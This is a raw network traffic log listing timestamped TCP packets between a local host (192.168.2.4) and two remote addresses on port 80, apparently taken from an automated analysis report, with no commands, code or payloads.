Aug 30, 2024 03:17:08.260495901 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.260504007 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.260529995 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.261133909 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.261182070 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.261185884 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.261188030 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.261197090 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.261202097 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.261207104 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.261214972 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.261224985 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.261226892 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.261240005 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.261266947 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.261305094 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.261310101 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.261321068 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.261326075 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.261331081 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.261337042 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.261365891 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.261365891 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.261449099 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.261455059 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.261465073 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.261471033 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.261476994 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.261483908 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.261509895 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.261513948 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.261513948 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.261516094 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.261568069 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.261571884 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.261579037 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.261626005 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.261646986 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.261670113 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.261676073 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.261682034 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.261687040 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.261692047 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.261712074 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.261732101 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.262049913 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.262128115 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.262142897 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.262150049 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.262191057 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.262197018 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.262197018 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.262208939 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.262213945 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.262248993 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.262248993 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.262284040 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.262290001 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.262300968 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.262317896 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.262329102 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.262332916 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.262334108 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.262351990 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.262358904 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.262363911 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.262365103 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.262365103 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.262370110 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.262402058 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.262531996 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.262537003 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.262542963 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.262552023 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.262557983 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.262569904 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.262576103 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.262581110 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.262587070 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.262603045 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.262609005 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.262620926 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.262623072 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.262623072 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.262625933 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.262630939 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.262635946 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.262641907 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.262648106 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.262658119 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.262659073 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.262664080 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.262670994 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.262681007 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.262681961 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.262706041 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.262706041 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.263241053 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.263247013 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.263257027 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.263293028 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.263298988 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.263304949 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.263314962 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.263320923 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.263345003 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.263345003 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.263380051 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.263386011 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.263432980 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.263472080 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.263495922 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.263500929 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.263514042 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.263537884 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.263542891 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.263546944 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.263621092 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.266272068 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.266275883 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.266323090 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.266411066 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.266418934 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.266437054 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.266441107 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.266452074 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.266457081 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.266462088 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.266463995 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.266468048 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.266478062 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.266480923 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.266485929 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.266514063 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.266535997 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.266541958 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.266551018 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.266555071 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.266583920 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.266594887 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.269670010 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.269722939 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.269732952 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.269783974 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.269783974 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.269790888 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.269802094 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.269807100 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.269833088 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.269850969 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.269913912 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.269920111 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.269965887 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.270092010 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.270097971 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.270102024 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.270143032 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.270191908 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.270196915 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.270232916 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.270237923 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.270242929 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.270245075 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.270250082 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.270270109 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.270277023 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.270282984 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.270293951 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.270298958 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.270328999 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.270349979 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.270378113 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.270384073 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.270404100 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.270421982 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.270437002 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.270442009 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.270479918 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.308952093 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.308959007 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.308969975 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.309011936 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.309012890 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.309016943 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.309034109 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.309041023 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.309060097 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.309077978 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.309123039 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.309128046 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.309139013 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.309187889 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.309192896 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.309204102 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.309205055 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.309211016 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.309235096 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.309242010 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.309258938 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.309281111 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.338054895 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.338188887 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.338218927 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.338223934 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.338234901 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.338239908 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.338244915 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.338249922 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.338260889 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.338283062 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.338315010 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.338320971 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.338320971 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.338326931 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.338331938 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.338337898 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.338344097 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.338360071 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.338366032 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.338385105 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.338385105 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.338395119 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.338398933 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.338421106 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.338426113 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.338435888 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.338435888 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.338511944 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.338593960 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.338599920 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.338610888 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.338615894 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.338639021 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.338644028 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.338649988 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.338654041 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.338654995 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.338665962 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.338671923 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.338682890 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.338690042 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.338690042 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.338711023 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.338738918 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.338743925 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.338756084 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.338762045 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.338766098 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.338799953 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.338810921 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.338852882 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.338857889 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.338864088 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.338869095 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.338874102 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.338903904 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.338949919 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.339643955 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.339668036 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.339678049 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.339734077 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.339754105 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.339760065 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.339771032 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.339776993 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.339819908 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.339911938 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.339917898 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.339919090 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.339927912 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.339932919 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.339943886 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.339948893 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.339953899 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.339955091 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.339960098 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.339965105 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.339977026 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.339991093 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.339991093 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.340029001 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.340045929 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.340051889 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.340056896 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.340063095 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.340100050 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.340257883 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.340264082 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.340274096 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.340279102 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.340282917 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.340287924 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.340301037 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.340306997 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.340312004 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.340322971 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.340327978 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.340327978 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.340328932 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.340334892 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.340346098 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.340351105 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.340353012 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.340356112 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.340367079 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.340379953 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.340379953 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.340410948 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.340683937 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.340689898 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.340758085 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.340760946 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.340764999 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.340775967 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.340780973 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.340785980 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.340791941 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.340816975 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.340852022 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.340974092 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.340985060 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.340990067 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.340995073 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.341000080 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.341006041 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.341017962 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.341022968 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.341027975 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.341031075 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.341032982 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.341042995 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.341048956 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.341054916 CEST	80	49733	147.45.44.104	192.168.2.4
